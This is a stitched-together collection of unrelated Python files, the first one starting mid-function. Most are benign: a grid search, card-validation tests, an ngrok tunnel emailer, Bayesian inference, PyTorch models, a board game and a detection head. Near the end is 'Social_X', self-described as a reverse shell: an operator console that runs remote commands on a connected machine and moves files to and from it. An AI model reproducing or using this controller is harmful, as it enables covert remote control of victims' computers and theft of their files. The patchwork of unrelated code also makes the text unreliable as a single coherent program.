        q = deque([(x, y)])
        while q:
            x, y = q.pop()
            if arr[x][y] == 1:
                # 방문 처리
                arr[x][y] = 2
                # 인접 노드 방문
                for i in range(8):
                    nx = x + dx[i]
                    ny = y + dy[i]
                    # 범위 내에 존재하는지 확인
                    if 0 <= nx < M and 0 <= ny < N:
                        # 방문하지 않는 노드라면
                        if arr[nx][ny] == 1:
                            q.append((nx, ny))
        return 1
    return 0

answer = 0
for m in range(M):
    for n in range(N):
        answer += dfs(m, n)
print(answer)


from faker import Faker
from app.services.helpers import (encrypt_credit_card_number, decrypt_credit_card_number,
                         validate_exp_date, validate_holder, validate_credit_card_number,
                         format_exp_date, get_card_brand, create_token, validate_date_format)

mock = Faker()

def test_encrypt_decrypt_credit_card_number():
    card_number = mock.credit_card_number(card_type='mastercard')
    encrypted_number = encrypt_credit_card_number(card_number)
    decrypted_number = decrypt_credit_card_number(encrypted_number)
    assert decrypted_number == card_number

def test_validate_exp_date():
    valid_date = mock.future_date(end_date='+10y', tzinfo=None).strftime('%m/%Y')
    assert validate_exp_date(valid_date) == True
    invalid_date = mock.past_date(start_date='-10y', tzinfo=None).strftime('%m/%Y')
    assert validate_exp_date(invalid_date) == False

def test_validate_holder():
    valid_holder = mock.name()
    assert validate_holder(valid_holder) == True
    invalid_holder = ''
    assert validate_holder(invalid_holder) == False

def test_validate_credit_card_number():
    valid_card_number = mock.credit_card_number(card_type='mastercard')
    assert validate_credit_card_number(valid_card_number) == True
    invalid_card_number = '12345'
    assert validate_credit_card_number(invalid_card_number) == False

def test_format_exp_date():
    mock_date = mock.future_date(end_date='+10y', tzinfo=None).strftime('%m/%Y')
    formatted_date = format_exp_date(mock_date)
    print(formatted_date)
    assert validate_date_format(formatted_date) == True

def test_get_card_brand():
    card_number = mock.credit_card_number(card_type='mastercard')
    brand = get_card_brand(card_number)
    assert brand == 'master'

def test_create_token():
    user_id = mock.random_int(min=1, max=1000)
    token = create_token(user_id)
    assert isinstance(token, str)


import logging
import smtplib
import ssl

from apscheduler.schedulers.blocking import BlockingScheduler
import requests
import yaml

import config

logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)

formatter = logging.Formatter("%(asctime)s - %(levelname)s - %(message)s")
file_handler = logging.FileHandler("/var/log/exposeNgrokTunnels.log")
file_handler.setLevel(logging.INFO)
file_handler.setFormatter(formatter)

stream_handler = logging.StreamHandler()
stream_handler.setLevel(logging.INFO)
stream_handler.setFormatter(formatter)

logger.addHandler(file_handler)
logger.addHandler(stream_handler)

DEVICE_TUNNELS_FILE = "/tmp/exposeNgrokTunnels.yaml"
EMAIL_CONCONFIG_FILE = "./emailConfiguration.yaml"
NGROK_API_URL = "http://localhost:4040/api/tunnels"

def get_ngrok_tunnels_list() -> list:
    try:
        response_ngrok_tunnels_info = requests.get(NGROK_API_URL)
        ngrok_tunnels_info = response_ngrok_tunnels_info.json().get("tunnels")

        ngrok_tunnels_list = []
        for tunnel in ngrok_tunnels_info:
            ngrok_tunnels_list.append(tunnel.get("public_url"))

        ngrok_tunnels_list.sort()
        return ngrok_tunnels_list

    except Exception as e:
        logger.error(f"Failed to get ngrok tunnels list: {e}")
        return []

def get_device_tunnels_list() -> list:
    try:
        device_tunnels_list = []
        with open(DEVICE_TUNNELS_FILE, mode="r") as f:
            device_tunnels_list = yaml.safe_load(f).get("tunnels")

    except Exception as e:
        logger.warning(f"Failed to read device tunnels information: {e}")

    device_tunnels_list.sort()
    return device_tunnels_list

def write_tunnels_info(tunnels_list: list):
    logger.info(f"Write tunnels info to device: {tunnels_list}")
    with open(DEVICE_TUNNELS_FILE, "w") as f:
        yaml.dump({"tunnels": tunnels_list}, f)

def send_tunnels_info_email(ngrok_tunnels: list):
    try:
        content = f"""Subject: Ngrok tunnels info of un42\n\n{ngrok_tunnels}"""

        context = ssl.create_default_context()
        with smtplib.SMTP_SSL(config.SMTP_SERVER, context=context) as server:
            server.login(config.SENDER, config.PASSWORD)
            server.sendmail(config.SENDER, config.RECEIVER, content)

    except Exception as e:
        logger.error(f"Failed to send ngrok tunnels info email: {e}")

def do_expose_tunnels_work():
    ngrok_tunnels_list = get_ngrok_tunnels_list()
    device_tunnels_list = get_device_tunnels_list()

    if (not device_tunnels_list) or (ngrok_tunnels_list != device_tunnels_list):
        write_tunnels_info(ngrok_tunnels_list)
        send_tunnels_info_email(ngrok_tunnels_list)

if __name__ == "__main__":
    try:
        logger.info("Start scheduler to expose ngrok tunnels...")

        scheduler = BlockingScheduler()
        scheduler.add_job(
            do_expose_tunnels_work, "interval", minutes=config.INTERVAL_MINUTES
        )
        scheduler.start()

    except Exception as e:
        logger.error(f"Failed to expose tunnels: {e}")


"""
    File name: Inference.py
    Author: Arsh Khokhar, Kiernan Wiese
    Date last modified: 21 March, 2021
    Python Version: 3.8

    This script contains functions to calculate inference and print factors
    as we go.
"""

from typing import List, Tuple
from Factor import Factor, Sign

def inference_by_enumeration(factor_list: List[Factor],
                             ordered_list_of_hidden_variables: List[str]):
    """
    Calculate P(factor_list | evidence_list) using inference by enumeration, after
    all of the evidence is observed
    This function is unused when doing inference

    :param factor_list: List of the factors we'll use
    :param ordered_list_of_hidden_variables: The order to sumout variables not in query_variables or evidence_list
    """
    joined_factor = factor_list[0]
    for i in range(1, len(factor_list)):
        joined_factor = Factor.multiply(joined_factor, factor_list[i])
    for var in ordered_list_of_hidden_variables:
        joined_factor.sumout(var)
    joined_factor.normalize()
    joined_factor.print_factor()

def var_elimination(factor_list: List[Factor], query_variables: List[str],
                    ordered_list_of_hidden_variables: List[str],
                    evidence_list: List[Tuple[str, Sign]]):
    """
    Calculate P(factor_list | evidence_list) using variable elimination, after
    all of the evidence is observed

    :param factor_list: List of the factors we'll use
    :param query_variables: We want to find this variables' probability
    :param ordered_list_of_hidden_variables: The order to sumout variables not in query_variables or evidence_list
    :param evidence_list: List of variables that we know the values of
    """
    for var in ordered_list_of_hidden_variables:
        # find out which factors contain var, remove them from factor_list
        factors_to_multiply = []
        for factor in factor_list[:]:
            if var in factor.variables:
                factor_list.remove(factor)
                factors_to_multiply.append(factor)

        # multiply all the removed factors together, then sumout var
        joined_factor = factors_to_multiply[0]
        for i in range(1, len(factors_to_multiply)):
            joined_factor = Factor.multiply(joined_factor, factors_to_multiply[i])
        joined_factor.sumout(var)

        if len(joined_factor.solution_variables) > 0:
            factor_list.append(joined_factor)
        print('After eliminating {0}:'.format(var))
        print_all_factors(factor_list)

    # multiply remaining factors together
    joined_factor = factor_list[0]
    for i in range(1, len(factor_list)):
        joined_factor = Factor.multiply(joined_factor, factor_list[i])

    joined_factor.normalize()

    final_factor = Factor(query_variables, [], joined_factor.table[:, -1], [], evidence_list)
    print('Solution:')
    final_factor.print_representation()
    final_factor.print_factor()

def print_all_factors(factor_list: List[Factor]) -> None:
    """
    Print a representation of all of the factors

    :param factor_list: The factors to print
    """
    for factor in factor_list:
        factor.print_representation()
        # factor.print_factor()
    print()

def inference(factor_list: List[Factor], query_variables: List[str],
              ordered_list_of_hidden_variables: List[str],
              evidence_list: List[Tuple[str, Sign]]) -> None:
    """
    Calculate P(factor_list | evidence_list) using variable elimination

    :param factor_list: List of the factors we'll use
    :param query_variables: We want to find this variables' probability
    :param ordered_list_of_hidden_variables: The order to sumout variables not in query_variables or evidence_list
    :param evidence_list: List of variables that we know the values of
    :return:
    """
    # restrict factors based on evidence
    for factor in factor_list[:]:
        for evidence_var, evidence_value in evidence_list:
            factor.observe_var(evidence_var, evidence_value)
        if len(factor.variables) == 0:
            factor_list.remove(factor)
    print('Initial factors:')
    print_all_factors(factor_list)

    #  inference by enumeration
    # inference_by_enumeration(factor_list, ordered_list_of_hidden_variables)

    #  var elimination
    var_elimination(factor_list, query_variables,
                    ordered_list_of_hidden_variables, evidence_list)


from instaloader import Instaloader, Profile
import datetime

MAX_DAYS = 10

LIKES_WEIGHT = 2
COMMENTS_WEIGHT = 1
NUM_FOLLOWERS_WEIGHT = 1
NUM_POSTS_WEIGHT = 1

def get_summary(profile):
    user = {}
    # print('Engagement.get_summary: {}'.format(profile.username))
    user['followers'] = profile.followers
    # print('  Followers: {}'.format(profile.followers))

    total_num_likes = 0
    total_num_comments = 0
    total_num_posts = 0
    current_date = datetime.datetime.now()

    for post in profile.get_posts():
        delta = current_date - post.date
        if (delta.days > MAX_DAYS):
            break
        if (post.likes is not None):
            total_num_likes += post.likes
        if (post.comments is not None):
            total_num_comments += post.comments
        total_num_posts += 1
        # print('  {} - Number of Likes: {}, Number of Comments: {}, Post Date: {}'.format(total_num_posts, total_num_likes, total_num_comments, post.date))

    engagement = 0
    if profile.followers > 0 and total_num_posts > 0:
        engagement = float( (LIKES_WEIGHT * total_num_likes) + (COMMENTS_WEIGHT * total_num_comments)) / ((NUM_FOLLOWERS_WEIGHT * profile.followers) * (NUM_POSTS_WEIGHT * total_num_posts))
    user['engagement'] = engagement * 100
    # print('  Engagement: {}'.format(user['engagement']))
    #user['num_recent_posts'] = total_num_posts
    # print('  Number of Recent Posts: {}'.format(user['num_recent_posts']))
    #post_freq = 0.0
    #if (total_num_posts > 0):
    #    post_freq = float(MAX_DAYS) / total_num_posts
    #user['post_frequency'] = post_freq
    # print('  Recent Post Frequency: {}'.format(user['post_frequency']))
    return user


# Definition for a Node.
class Node:
    def __init__(self, val = 0, neighbors = None):
        self.val = val
        self.neighbors = neighbors if neighbors is not None else []

class Solution:
    def cloneGraph(self, node) -> 'Node':
        if not node:
            return None
        di = {}
        di[node.val] = Node(node.val)
        queue = []
        queue.append(node)
        while queue:
            cur_node = queue.pop(0)
            for neighbor in cur_node.neighbors:
                if neighbor.val not in di:
                    di[neighbor.val] = Node(neighbor.val)
                    queue.append(neighbor)
                di[cur_node.val].neighbors.append(di[neighbor.val])
        return di[node.val]


from allauth.account.utils import send_email_confirmation

from django.contrib.auth.models import User
from django.core.exceptions import ObjectDoesNotExist

from rest_framework import serializers, status, views
from rest_framework.permissions import AllowAny
from rest_framework.response import Response

class ResendVerificationEmailView(views.APIView):
    """
    Basic view that takes a POST request with an email parameter and re-sends an
    email to verify a user's account.
    """

    permission_classes = (AllowAny,)

    def post(self, request, *args, **kwargs):
        email = request.data.get("email")

        try:
            user = User.objects.get(email=email)
        except ObjectDoesNotExist:
            raise serializers.ValidationError(
                "User with email {} does not exist".format(email)
            )

        # Send the email
        send_email_confirmation(request, user)
        return Response(
            {"detail": "Account verification email has been sent"},
            status=status.HTTP_200_OK,
        )


'''
Created on Sep 29, 2018

@author: yi
'''
from __future__ import print_function
from __future__ import division
import cfg
import math
import torch
import torch.nn as nn
from torch.autograd import Function
import torchvision
import torch.nn.init as init
from torch import nn,optim, LongTensor
import torch.nn.functional as F
from torch.utils import model_zoo

import numpy as np

class MyResnet(nn.Module):
    def __init__(self, classes):
        super(MyResnet, self).__init__()
        resnet50 = torchvision.models.resnet50(pretrained = True)
        self.features = nn.Sequential(*list(resnet50.children())[0:-1]) #2048
        self.fc = nn.Linear(2048, classes, bias = True)

    def forward(self, x):
        feature = self.features(x).view(-1, 2048)
        result = self.fc(feature)
        return feature, result

class MyLSTM(nn.Module):
    def __init__(self, input_size, hidden_size, output_size, num_layers):
        super(MyLSTM, self).__init__()

        self.input_size = input_size
        self.hidden_size = hidden_size
        self.num_layers = num_layers

        self.lstm = nn.LSTM(input_size=self.input_size, hidden_size=self.hidden_size, num_layers=num_layers,
                            batch_first=True)
        self.classifer = nn.Linear(hidden_size, output_size)

    def forward(self, input, h, c):
        output, (h, c) = self.lstm(input, (h, c))
        # output : batch, sequence_len, hidden_size*num_directions
        # in training, we only need the last one output[:,-1,:].view([5,1024])\
        output = output[:, -1, :].view([-1, 1024])
        result = self.classifer(output)
        return result, (h, c)

class LSTM(nn.Module):
    def __init__(self, input_size, hidden_size, output_size, num_layers, sequence_len):
        super(LSTM, self).__init__()

        # self.vgg11 = MyVgg11(output_size)
        self.features = nn.Sequential(*list(torchvision.models.resnet50(pretrained=True).children())[0:-1])  # 2048
        self.input_size = input_size
        self.hidden_size = hidden_size
        self.num_layers = num_layers
        self.sequence_len = sequence_len

        self.lstm = nn.LSTM(input_size=self.input_size, hidden_size=self.hidden_size, num_layers=num_layers,
                            batch_first=True)

        self.classifier = nn.Linear(hidden_size, output_size)

    def forward(self, input, h, c):
        # input is a 3d tensor (bs, sequence, feature)
        # output is a 3d tensor (bs, sequence, hidden_size)
        output, (h, c) = self.lstm(input, (h, c))

        # result is a 3d tensor (bs, sequence, output_size)
        result = self.classifier(output)
        return result, (h, c)

    def cnn(self, input):
        # input is a 4d tensor (n, c, w, h)
        return self.features(input)

    def frozen(self):
        for param in self.features.parameters():
            param.requires_grad = False

    def parameters(self, recurse=True):
        return filter(lambda p: p.requires_grad, super(LSTM, self).parameters())

class NegativeMapper(nn.Module):
    def __init__(self, bin_feature_len, input_size, nclass):
        super(NegativeMapper, self).__init__()
        self.bin_feature_len = bin_feature_len
        self.input_size = input_size
        self.lstm1 = nn.LSTM(input_size=input_size, hidden_size=32, num_layers=1, batch_first=True)  # previous:10

        self.mlp1 = nn.Sequential(
            nn.Linear(32, nclass + 1)
        )

        self.mlp3 = nn.Sequential(
            nn.Linear(2048, 32),
            nn.Linear(32, nclass + 1)
        )
        self.mlp4 = nn.Sequential(
            nn.Linear(2048, 1),
            nn.Sigmoid()
        )

    def forward(self, bin_feature, img_features, h, c, alpha_hand):
        bin_feature = bin_feature.view([-1, self.bin_feature_len, self.input_size])
        bin_feature, (_, _) = self.lstm1(bin_feature, (h, c))
        bin_feature = bin_feature[:, -1, :].view([-1, 32])
        bin_result = self.mlp1(bin_feature)

        img_result = self.mlp3(img_features)
        return alpha_hand * bin_result + (1 - alpha_hand) * img_result


"""
If we list all the natural numbers below 10 that are multiples
of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23.
Find the sum of all the multiples of 3 or 5 below 1000.
"""

def sum_mult(x, y, n):
	rv = 0;
	for num in range(n):
		if num % x == 0 or num % y == 0:
			rv += num
	return rv

x = sum_mult(3, 5, 1000)
print(x)


# -*- coding:utf-8 -*-

"""
@version:python3.8
@author: Bruce
@file:   .py
@time:   2020/9/2 15:21
"""

print('模块foo==>:')

__all__=['x','get','change']  # 控制*代表的名字有哪些

x=1

def get():
    print(x)

def change():
    global x
    x=0

# 当foo.py被运行时，__name__的值为'__main__'
# 当foo.py被当做模块导入时，__name__的值为'foo'

if __name__ == '__main__':
    print('文件被执行')
else:
    print('文件被导入')


import pygame
import os, sys
import pprint
import random
import copy
from pprint import pprint

from .Node import Node
from .EventManager import EventManager
from .node_controllers.DefaultController import DefaultController
from .node_controllers.CaptureController import CaptureController

class Graph:
    def __init__(self, game, nodes=None, last_move=None, max_pieces=None, min_pieces=None):
        self.game = game

        self.nodes = nodes if nodes is not None else {}
        self.lines = self.read_lines()
        self.last_move = last_move

        self.max_pieces = max_pieces if max_pieces is not None else self.game.max_pieces
        self.min_pieces = min_pieces if min_pieces is not None else self.game.min_pieces

        # print("MAX PIECES")
        # print(self.max_pieces)

        if self.nodes == {}:
            self.setup()

        # print(self.nodes)

    def setup(self):
        self.init_nodes()

    def read_lines(self):
        __location__ = os.path.realpath(
            os.path.join(os.getcwd(), os.path.dirname(__file__)))
        fin = open(os.path.join(__location__, 'lines_setup'), 'r')
        s = fin.read()
        s = s.split('\n')
        data = []
        for row in s:
            row = row.split(',')
            data += [[[int(sub) for sub in el.split(' ')] for el in [coord.strip() for coord in row]]]
        fin.close()
        # pprint(data)
        return data

    def init_nodes(self):
        __location__ = os.path.realpath(
            os.path.join(os.getcwd(), os.path.dirname(__file__)))

        fin = open(os.path.join(__location__, 'nodes_setup'), 'r')
        s = fin.read()
        s = s.split('\n')
        data = []
        for row in s:
            node, neighs = [s.strip() for s in row.split('-')]
            node = [int(c) for c in node.split()]
            neighs = [[int(c) for c in s.strip().split()] for s in neighs.split(',')]

            data += [[node, neighs]]
        fin.close()

        for node, _ in data:
            x, y = self.game.padding + node[0] * self.game.cell_size, self.game.padding + node[1] * self.game.cell_size
            # setez o culaore random la unele de la inceput
            colors = ["white", "black"]
            color = None
            # stc tmp to populate board randomly
            # if random.random() < .4:
            #     color = random.choice(colors)
            #     if color == self.game.min_color:
            #         if self.game.min_pieces == 0:
            #             color = None
            #         else:
            #             self.game.min_pieces -= 1
            #     elif color == self.game.max_color:
            #         if self.game.max_pieces == 0:
            #             color = None
            #         else:
            #             self.game.max_pieces -= 1

            self.nodes[(node[0], node[1])] = Node(self.game, self, (node[0], node[1]), (x, y), value=color)
        for node, neighs in data:
            this_neigh_nodes = []
            for neigh in neighs:
                this_neigh_nodes += [self.nodes[(neigh[0], neigh[1])]]
            self.nodes[(node[0], node[1])].set_neighs(this_neigh_nodes)

            # tmp stc

    def swap_nodes(self, coords_1, coords_2):
        node_1 = self.nodes[coords_1]
        node_2 = self.nodes[coords_2]

        node_1_value = node_1.value
        node_2_value = node_2.value

        node_1.value = node_2_value
        node_2.value = node_1_value

    def formed_line(self, node, nodes=None):
        if node.value is None:
            return False
        if nodes is None:
            nodes = self.nodes
        node_board_coords = node.board_coords
        for line in self.lines:
            if list(node_board_coords) not in line:
                continue
            node_1, node_2, node_3 = nodes[tuple(line[0])], nodes[tuple(line[1])], nodes[tuple(line[2])]
            if node_1.value == node_2.value == node_3.value and node_1.value is not None:
                return True
        return False

    # stc add color option
    def get_vulnerable_pieces(self, color=None, nodes=None):
        if nodes is None:
            nodes = self.nodes
        if color is None:
            color = self.game.max_color
        ret = []
        all_nodes = [node for (_, node) in self.nodes.items() if node.value == color]
        # if at most 3, all of them vulnerable
        if len(all_nodes) <= 3:
            return all_nodes
        for node in all_nodes:
            if not self.formed_line(node, nodes):
                ret += [node]
        return ret

    def capture_mode(self):
        vulnerable_pieces = self.get_vulnerable_pieces()
        for _, node in self.nodes.items():
            if node not in vulnerable_pieces:
                node.set_controller(DefaultController)
            else:
                node.set_controller(CaptureController)

    def capture(self, to_capture):
        for _, node in self.nodes.items():
            if node == to_capture:
                to_capture_color = node.value
                node.value = None
                # verific daca era ultimul nod de acea culoare si daca jucatorul respectiv nu mai are piese de pus
                found = False
                for node in self.nodes.values():
                    if node.value == to_capture_color:
                        found = True
                        break
                if not found:
                    # verific daca mai sunt piese de culoare aia
                    if to_capture_color == self.game.max_color:
                        if self.game.max_pieces == 0:
                            EventManager.emit_signal("end_game", self.game.max_color)
                            return
                    elif to_capture_color == self.game.min_color:
                        if self.game.min_pieces == 0:
                            EventManager.emit_signal("end_game", self.game.min_color)
                            return
                # aici inseamna ca mai sunt piese de eliminat si vine next turn
                EventManager.emit_signal("next_turn")
                return
        EventManager.emit_signal("next_turn")

    def estimeaza_scor(self, adancime):
        points = 0

        points += self.max_pieces
        points += self.min_pieces

        for node in self.nodes.values():
            if node.value == self.game.max_color:
                points += 1
            elif node.value == self.game.min_color:
                points -= 1

        return points

    def copy_nodes(self, nodes):
        ret = {}

        for node in nodes.values():
            ret[node.board_coords] = Node(node.game, None, node.board_coords, (-100, -100), node.value)

        # set the graph for all the nodes!! or not

        return ret

    def mutari(self, current_player):
        ret = []

        # mutari de placing
        pieces_left = self.max_pieces if current_player == self.game.max_color else self.min_pieces
        if pieces_left > 0:
            for key, node in self.nodes.items():
                if node.value is None:
                    # nodes_cpy = copy.deepcopy(self.nodes)
                    nodes_cpy = self.copy_nodes(self.nodes)
                    nodes_cpy[key].value = current_player
                    # verific daca a format linie, daca da, elimin din piesele jucatorului min
                    if self.formed_line(nodes_cpy[key], nodes_cpy):
                        # print(nodes_cpy[key], ' a facut linie')
                        pieces_to_capture = self.get_vulnerable_pieces(self.game.jucator_opus(current_player))
                        # adauga mutare si daca nu exista piese de capturat
                        for piece in pieces_to_capture:
                            # nodes_cpyy = copy.deepcopy(nodes_cpy)
                            nodes_cpyy = self.copy_nodes(nodes_cpy)
                            nodes_cpyy[piece.board_coords].value = None

                            ret += [Graph(self.game, nodes_cpyy,
                                          PiecePlacement(nodes_cpy[key].board_coords, piece.board_coords),
                                          self.max_pieces - 1 if current_player == self.game.max_color else self.max_pieces,
                                          self.min_pieces - 1 if current_player == self.game.min_color else self.min_pieces)]
                    else:
                        ret += [Graph(self.game, nodes_cpy, PiecePlacement(nodes_cpy[key].board_coords, None),
                                      self.max_pieces - 1 if current_player == self.game.max_color else self.max_pieces,
                                      self.min_pieces - 1 if current_player == self.game.min_color else self.min_pieces)]

        # mutari de mutare
        for key, node in self.nodes.items():
            if node.value == current_player:
                for neigh in node.neighs:
                    if neigh.value is None:
                        # il mutam la vecin (in copie)
                        # nodes_cpy = copy.deepcopy(self.nodes)
                        nodes_cpy = self.copy_nodes(self.nodes)
                        # fac switch
                        nodes_cpy[key].value = None
                        nodes_cpy[neigh.board_coords].value = current_player

                        # verific daca a format linie, daca da, elimin din piesele jucatorului min
                        if self.formed_line(nodes_cpy[neigh.board_coords], nodes_cpy):
                            pieces_to_capture = self.get_vulnerable_pieces(self.game.jucator_opus(current_player))
                            for piece in pieces_to_capture:
                                nodes_cpyy = self.copy_nodes(nodes_cpy)
                                nodes_cpyy[piece.board_coords].value = None

                                ret += [Graph(self.game, nodes_cpyy,
                                              PieceMove(nodes_cpy[key].board_coords, neigh.board_coords,
                                                        piece.board_coords),
                                              self.max_pieces,
                                              self.min_pieces)]
                        else:
                            ret += [Graph(self.game, nodes_cpy,
                                          PieceMove(nodes_cpy[key].board_coords, neigh.board_coords, None),
                                          self.max_pieces,
                                          self.min_pieces)]
        print(f's-au gasit {len(ret)} mutari posibile')
        return ret
        # to implement

    def handle_event(self, event):
        for _, node in self.nodes.items():
            node.handle_event(event)

    def update(self):
        for _, node in self.nodes.items():
            node.update()

    def render(self, screen):
        for board_coords, node in self.nodes.items():
            node.render(screen)

class PiecePlacement():
    def __init__(self, from_coords, taken_coords):
        self.from_coords = from_coords
        self.taken_coords = taken_coords

    def __str__(self):
        return f"piece place {self.from_coords} take {self.taken_coords}"

class PieceMove():
    def __init__(self, from_coords, to_coords, taken_coords):
        self.from_coords = from_coords
        self.to_coords = to_coords
        self.taken_coords = taken_coords

    def __str__(self):
        return f"piece move {self.from_coords} to {self.to_coords} take {self.taken_coords}"


import torch
from torch import nn
from torch.nn import functional as F
from .roi_box_feature_extractors import make_roi_box_feature_extractor
from .roi_box_predictors import make_roi_box_predictor
from .inference import make_roi_box_post_processor
from .loss import make_roi_box_loss_evaluator
from maskrcnn_benchmark.utils.miscellaneous import batch_boxlist_hflip,_hflip

class ROIBoxHead(torch.nn.Module):
    """
    Generic Box Head class.
    """

    def __init__(self, cfg, relation = True):
        super(ROIBoxHead, self).__init__()
        self.feature_extractor = make_roi_box_feature_extractor(cfg)
        self.predictor = make_roi_box_predictor(cfg)
        self.post_processor = make_roi_box_post_processor(cfg)
        self.loss_evaluator = make_roi_box_loss_evaluator(cfg)
        self.use_realation_nms =relation and  cfg.MODEL.RELATION_NMS.USE_RELATION_NMS
        self.cfg = cfg
    def set_teacher_mode(self, mode):
        self.mode = mode

    def forward(self, features, proposals, targets=None):
        """
        Arguments:
            features (list[Tensor]): feature-maps from possibly several levels
            proposals (list[BoxList]): proposal boxes
            targets (list[BoxList], optional): the ground-truth targets.

        Returns:
            x (Tensor): the result of the feature extractor
            proposals (list[BoxList]): during training, the subsampled proposals
                are returned. During testing, the predicted boxlists are returned
            losses (dict[Tensor]): During training, returns the losses for the
                head. During testing, returns an empty dict.
        """

        if self.training:
            # Faster R-CNN subsamples during training the proposals with a fixed
            # positive / negative ratio
            with torch.no_grad():
                proposals = self.loss_evaluator.subsample(proposals, targets)

        # extract features that will be fed to the final classifier. The
        # feature_extractor generally corresponds to the pooler + heads
        x = self.feature_extractor(features, proposals, istrain =
        self.training)
        # final classifier that converts the features into predictions
        class_logits, box_regression = self.predictor(x)
        if not self.training:
            # if not learn nms, then uncomment the following line
            if not self.use_realation_nms:
                proposals = self.post_processor((class_logits, box_regression), proposals)
            return (
                x,
                proposals,
                {},
                class_logits,
                box_regression
            )
        loss_classifier, loss_box_reg = self.loss_evaluator(
        [class_logits], [box_regression])
        return (
            x,
            proposals,
            dict(loss_classifier=loss_classifier,
                 loss_box_reg=loss_box_reg),
            class_logits,
            box_regression
        )

    def _forward_single(self, proposals, targets, feats_list, istrain = False):
        if targets is not None:
            proposals = self.loss_evaluator.subsample(proposals, targets)
        proposals_B = batch_boxlist_hflip(proposals)
        feats = []
        logits = []
        regressions = []
        for i, feat in enumerate(feats_list):
            if i % 2 == 0:
                x = self.feature_extractor(feat, proposals, istrain=istrain)
            else:
                x = self.feature_extractor(feat, proposals_B, istrain=istrain)
            class_logit, box_regression = self.predictor(x)
            feats.append(x)
            logits.append(class_logit)
            regressions.append(box_regression)
        # extract feature

        return feats,logits,regressions,proposals

    def forward_teacher(self, feature_tuple, proposals, targets):
        feats, logits, regressions, proposals = \
            self._forward_single(proposals,targets,feature_tuple,istrain= False)
        return (feats, proposals, {}, logits, regressions)

    def forward_student(self, features, proposals, class_logits_t):

        feats, logits, regressions, _ = self._forward_single(proposals, targets=None, feats_list=features, istrain=True)
        if self.cfg.MT.ODKD:
            cls_loss = self.loss_evaluator.evaluateODKD(logits, proposals, class_logits_t)
        elif self.cfg.MT.CLS_LOSS>0:
            cls_loss = self.loss_evaluator.evaluatePSM(logits, class_logits_t, proposals )
        else:
            cls_loss = torch.zeros((1,)).to(logits[0].device)#
            # placeholder
        loss_dict = dict(mt_classifier=cls_loss)
        return loss_dict

def build_roi_box_head(cfg, relation = True):
    """
    Constructs a new box head.
    By default, uses ROIBoxHead, but if it turns out not to be enough, just register a new class
    and make it a parameter in the config
    """
    return ROIBoxHead(cfg, relation=relation)


BUFF_SIZE=4096

import socket,sys
import logging
import os
from ipPort import *
import base64
from clint.textui import colored
os.system("bash ../banner/banner.sh")

class outputStuff:
    def __init__(self):
        self.HEADER = '\033[95m'
        self.OKBLUE = '\033[94m'
        self.OKCYAN = '\033[96m'
        self.OKGREEN = '\033[92m'
        self.WARNING = '\033[93m'
        self.FAIL = '\033[91m'
        self.ENDC = '\033[0m'
        self.BOLD = '\033[1m'
        self.UNDERLINE = '\033[4m'
    def connectionOutput(self,address,port):
        logging.basicConfig(format='%(message)s')
        log = logging.getLogger(__name__)
        log.warning(self.BOLD+self.OKGREEN+"[+] There is a connection!!")
        print(self.BOLD+self.OKGREEN+"[IP:"+str(address[0])+" Port:"+str(port)+"]"+self.ENDC)
        print(colored.yellow("Use 'help' to get help."))
        print(self.FAIL+"~SOCIAL_X~\n"+self.ENDC)
    def errorOutput(self):
        logging.basicConfig(format='%(message)s')
        log = logging.getLogger(__name__)
        log.error(self.BOLD+self.FAIL+"Connection Error!")

def cm(connection):
    while True:
        exec_=input(colored.blue("Social_X")+colored.red("@")+colored.yellow(str(socket.gethostname())+colored.red("[")+colored.yellow("~")+colored.red("]")))
        l=exec_.split(" ")
        if exec_=="exit":
            connection.send(str.encode(exec_))
            connection.close()
            sckt.close()
            sys.exit()
        if l[0]=="upload":
            connection.send(l[2].encode())
            with open(str(l[1]),"rb") as f:
                f=f.read()

            connection.send(b"upload"+f)
            print(colored.green("[+]Upload Successfull!!"))
        if exec_=="help" or exec_=="'help'":
            print("Dude it's a reverse shell. Just execute your commands what help are you expecting?")
        elif len(str.encode(exec_)) > 0 and l[0]!="upload":
            connection.send(str.encode(exec_))
            data=b''
            while True:
                data_piece=connection.recv(BUFF_SIZE)
                data+=data_piece
                if(b'FILENAME=' in data_piece):
                    file_data=data_piece.split(b"=")
                    file_data=str(str(file_data[1]).split("b'")[1].split("'")[0])

                if len(data_piece) < BUFF_SIZE:

                    break
            if(l[0]=="download"):
                sp=str(l[1]).split("=")
                with open(str(sp[1]),"wb") as wb_F:
                    wb_F.write(data)
                print(colored.green("[+]Download Successfull!!"))

            print("----------------------------------------------")
            try:
                print(colored.green(str(data.decode())))
            except UnicodeDecodeError:
                pass
            print("----------------------------------------------")
def socketC(host,port):
    global address
    sckt.bind((host,int(port)))
    sckt.listen(5) # 5 means, if bad connection happens for 5 times, return an error.
    connection,address=sckt.accept()
    oS=outputStuff()
    oS.connectionOutput(address,str(port))
    cm(connection)
    connection.close()
try:
    host=str(f);port=int(f1);sckt=socket.socket()
    socketC(str(host),int(port))

except socket.error:
    print(colored.blue("[+]Connection is available but cannot connect right now. Please try it again in 5 minutes."))


import os
import pandas as pd

from loader import read_file_list_from_csv
import utils
from utils import save_pickled

###############################################################
PROJECT_ROOT = utils.get_project_root(__file__)

COM_ROOT = PROJECT_ROOT + r"\com"
csv_res = COM_ROOT + r"\radiomics_features_selected.csv"
###############################################################

# load preselected data
rows = read_file_list_from_csv(csv_res)

# check correctness
print("Len in:", len(rows))
print(rows[0])

# convert to pd
features = pd.DataFrame(rows)

# ensure type
all_cols = features.select_dtypes(include=object).columns
except_one = all_cols[all_cols != 'Image']
features[except_one] = features[except_one].astype(float)
features[['MEL', 'NV']] = features[['MEL', 'NV']].astype(int)

# check correctness
# print('\n', features)

# Print the count
print('Original lengths:')
print('MEL: ', features[features['MEL'] == 1].shape[0])
print('NV:  ', features[features['NV'] == 1].shape[0])
print('Cropping. After it both will be the same.')

# equalize number
desired_rows = 1259
rows_to_delete_indices = features[features['NV'] == 1].sample(features.shape[0] - 2 * desired_rows).index
features = features.drop(rows_to_delete_indices)

assert features[features['MEL'] == 1].shape[0] == features[features['NV'] == 1].shape[0]

###############################################################
def test_elbow_visualizer():
    from yellowbrick.cluster import KElbowVisualizer
    from sklearn.cluster import KMeans

    # y = features['MEL'].values
    X = features.drop('MEL', axis=1).drop('Image', axis=1).drop('NV', axis=1).values

    model = KElbowVisualizer(KMeans(), k=(4, 12))
    model.fit(X)
    model.show()  # looks fine

# test_elbow_visualizer()
###############################################################
